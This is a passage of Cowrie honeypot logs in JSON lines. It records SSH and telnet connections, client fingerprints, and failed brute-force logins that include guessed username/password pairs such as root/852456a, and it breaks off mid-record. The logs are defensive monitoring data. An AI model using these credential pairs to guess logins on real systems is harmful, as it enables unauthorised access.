{"eventid":"cowrie.session.closed","duration":120.00943160057068,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:06.689263Z","src_ip":"98.30.219.209","session":"4644c29df0fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.30.219.209","src_port":45650,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf7eb09cf40f","protocol":"telnet","message":"New connection: 98.30.219.209:45650 (10.17.0.5:23) [session: cf7eb09cf40f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:09.192642Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":54460,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1c9271006ce","protocol":"ssh","message":"New connection: 103.149.28.157:54460 (10.17.0.5:22) [session: e1c9271006ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:09.233719Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:09.240267Z","src_ip":"103.149.28.157","session":"e1c9271006ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:09.495025Z","src_ip":"103.149.28.157","session":"e1c9271006ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"852456a","message":"login attempt [root/852456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:10.260403Z","src_ip":"103.149.28.157","session":"e1c9271006ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:11.518059Z","src_ip":"103.149.28.157","session":"e1c9271006ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.182.78","src_port":34556,"dst_ip":"159.203.135.109","dst_port":22,"session":"240433b2662f","protocol":"ssh","message":"New connection: 160.251.182.78:34556 (159.203.135.109:22) [session: 240433b2662f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:20.235648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:20.240891Z","src_ip":"160.251.182.78","session":"240433b2662f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:20.414981Z","src_ip":"160.251.182.78","session":"240433b2662f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tempuser","password":"123","message":"login attempt [tempuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:21.141279Z","src_ip":"160.251.182.78","session":"240433b2662f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:22.318142Z","src_ip":"160.251.182.78","session":"240433b2662f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00220036506653,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:24.613931Z","src_ip":"98.30.219.209","session":"d447df81b5f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.30.219.209","src_port":45865,"dst_ip":"10.17.0.5","dst_port":23,"session":"deecc89b331f","protocol":"telnet","message":"New connection: 98.30.219.209:45865 (10.17.0.5:23) [session: deecc89b331f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:25.703312Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":35986,"dst_ip":"159.203.135.109","dst_port":22,"session":"37c8560d4289","protocol":"ssh","message":"New connection: 109.172.54.111:35986 (159.203.135.109:22) [session: 37c8560d4289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:31.601534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:31.609318Z","src_ip":"109.172.54.111","session":"37c8560d4289","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:31.699110Z","src_ip":"109.172.54.111","session":"37c8560d4289","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"boriska","message":"login attempt [root/boriska] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:32.089776Z","src_ip":"109.172.54.111","session":"37c8560d4289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T13:59:33.202194Z","src_ip":"109.172.54.111","session":"37c8560d4289","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:00:20.354762Z","src_ip":"14.103.118.145","session":"50c79b91040a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":56836,"dst_ip":"10.17.0.5","dst_port":22,"session":"c36103963514","protocol":"ssh","message":"New connection: 37.233.85.71:56836 (10.17.0.5:22) [session: c36103963514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:00:38.340893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:00:38.346349Z","src_ip":"37.233.85.71","session":"c36103963514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:00:38.458090Z","src_ip":"37.233.85.71","session":"c36103963514","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"giovanni","message":"login attempt [root/giovanni] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:00:38.934268Z","src_ip":"37.233.85.71","session":"c36103963514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:00:40.052274Z","src_ip":"37.233.85.71","session":"c36103963514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.56","src_port":39330,"dst_ip":"10.17.0.5","dst_port":22,"session":"52125b998615","protocol":"ssh","message":"New connection: 45.144.233.56:39330 (10.17.0.5:22) [session: 52125b998615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:08.932676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:08.942470Z","src_ip":"45.144.233.56","session":"52125b998615","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:09.031368Z","src_ip":"45.144.233.56","session":"52125b998615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00170040130615,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:09.194161Z","src_ip":"98.30.219.209","session":"cf7eb09cf40f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"song","password":"song12345","message":"login attempt [song/song12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:09.392133Z","src_ip":"45.144.233.56","session":"52125b998615","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:10.491952Z","src_ip":"45.144.233.56","session":"52125b998615","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.30.219.209","src_port":47392,"dst_ip":"10.17.0.5","dst_port":23,"session":"feafe375b472","protocol":"telnet","message":"New connection: 98.30.219.209:47392 (10.17.0.5:23) [session: feafe375b472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:11.661221Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":40134,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0cb39d06298","protocol":"ssh","message":"New connection: 80.66.85.226:40134 (10.17.0.5:22) [session: a0cb39d06298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:19.907277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:19.913238Z","src_ip":"80.66.85.226","session":"a0cb39d06298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:20.001703Z","src_ip":"80.66.85.226","session":"a0cb39d06298","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert123","message":"login attempt [root/12345qwert123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:20.268359Z","src_ip":"80.66.85.226","session":"a0cb39d06298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:21.372123Z","src_ip":"80.66.85.226","session":"a0cb39d06298","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00512933731079,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:25.708277Z","src_ip":"98.30.219.209","session":"deecc89b331f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":50308,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe87c2dd64ad","protocol":"ssh","message":"New connection: 103.27.238.114:50308 (10.17.0.5:22) [session: fe87c2dd64ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:27.744069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:27.749278Z","src_ip":"103.27.238.114","session":"fe87c2dd64ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:28.003238Z","src_ip":"103.27.238.114","session":"fe87c2dd64ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"west","message":"login attempt [root/west] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:28.762218Z","src_ip":"103.27.238.114","session":"fe87c2dd64ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:30.026256Z","src_ip":"103.27.238.114","session":"fe87c2dd64ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.30.219.209","src_port":47612,"dst_ip":"10.17.0.5","dst_port":23,"session":"14990bc8b9c2","protocol":"telnet","message":"New connection: 98.30.219.209:47612 (10.17.0.5:23) [session: 14990bc8b9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:30.040212Z"}
{"eventid":"cowrie.session.closed","duration":0.6718297004699707,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:30.711859Z","src_ip":"98.30.219.209","session":"14990bc8b9c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.104.154.26","src_port":54624,"dst_ip":"10.17.0.5","dst_port":22,"session":"f72986d97c1e","protocol":"ssh","message":"New connection: 112.104.154.26:54624 (10.17.0.5:22) [session: f72986d97c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:43.951352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T14:01:43.956359Z","src_ip":"112.104.154.26","session":"f72986d97c1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-